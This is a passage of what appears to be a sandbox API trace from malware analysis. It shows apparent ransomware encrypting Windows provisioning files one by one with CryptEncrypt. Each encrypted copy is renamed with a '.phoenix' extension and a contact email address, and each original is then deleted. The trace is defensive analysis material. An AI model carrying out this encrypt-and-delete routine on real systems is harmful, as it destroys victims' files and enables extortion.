	[0247.274] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.274] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0247.274] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.274] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2fd, lpOverlapped=0x0) returned 1
	[0247.285] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x300, dwBufLen=0x300 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x300) returned 1
	[0247.285] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x300, lpOverlapped=0x0) returned 1
	[0247.286] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0247.286] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.286] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.286] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.286] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.286] CryptDestroyKey (hKey=0x151780) returned 1
	[0247.286] CloseHandle (hObject=0x2b4) returned 1
	[0247.286] CloseHandle (hObject=0x2f0) returned 1
	[0247.286] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\305__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\305__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.287] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.287] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.287] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=785) returned 1
	[0247.288] CloseHandle (hObject=0x2f0) returned 1
	[0247.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0247.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.288] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.288] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.288] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.288] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.288] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0247.288] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.288] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x311, lpOverlapped=0x0) returned 1
	[0247.291] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320, dwBufLen=0x320 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320) returned 1
	[0247.291] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x320, lpOverlapped=0x0) returned 1
	[0247.292] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0247.292] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.292] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.292] CryptDestroyKey (hKey=0x151240) returned 1
	[0247.292] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.292] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.292] CloseHandle (hObject=0x2f0) returned 1
	[0247.292] CloseHandle (hObject=0x2b4) returned 1
	[0247.292] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\306__Connections_Cellular_Claro (Nicaragua)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\306__connections_cellular_claro (nicaragua)_i1$(__mvid)@wap.provxml")) returned 1
	[0247.293] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.293] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.294] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=775) returned 1
	[0247.294] CloseHandle (hObject=0x2b4) returned 1
	[0247.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.294] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.294] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.294] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.294] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.294] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0247.294] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.294] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x307, lpOverlapped=0x0) returned 1
	[0247.296] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0247.296] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0247.297] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151280) returned 1
	[0247.297] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.297] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.297] CryptDestroyKey (hKey=0x151280) returned 1
	[0247.297] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.297] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.297] CloseHandle (hObject=0x2b4) returned 1
	[0247.297] CloseHandle (hObject=0x2f0) returned 1
	[0247.298] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\307__Connections_Cellular_Claro (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\307__connections_cellular_claro (nicaragua)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.298] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.298] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.299] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=802) returned 1
	[0247.299] CloseHandle (hObject=0x2f0) returned 1
	[0247.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.299] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.299] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.299] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.300] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0247.300] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.300] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x322, lpOverlapped=0x0) returned 1
	[0247.304] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x330, dwBufLen=0x330 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x330) returned 1
	[0247.304] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x330, lpOverlapped=0x0) returned 1
	[0247.305] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0247.305] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.305] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0247.305] CryptDestroyKey (hKey=0x151500) returned 1
	[0247.305] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0247.305] CryptDestroyKey (hKey=0x151140) returned 1
	[0247.305] CloseHandle (hObject=0x2f0) returned 1
	[0247.305] CloseHandle (hObject=0x2b4) returned 1
	[0247.305] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\308__Connections_Cellular_Telefonica (Nicaragua)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\308__connections_cellular_telefonica (nicaragua)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.306] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.306] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.307] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0247.307] CloseHandle (hObject=0x2b4) returned 1
	[0247.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.307] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.307] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.307] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.307] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\309__Connections_Cellular_MTN (Nigeria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\309__connections_cellular_mtn (nigeria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.308] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0247.308] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.308] ReadFile (in: hFile=0x2b4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0247.312] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0247.312] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.313] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0247.313] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.313] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
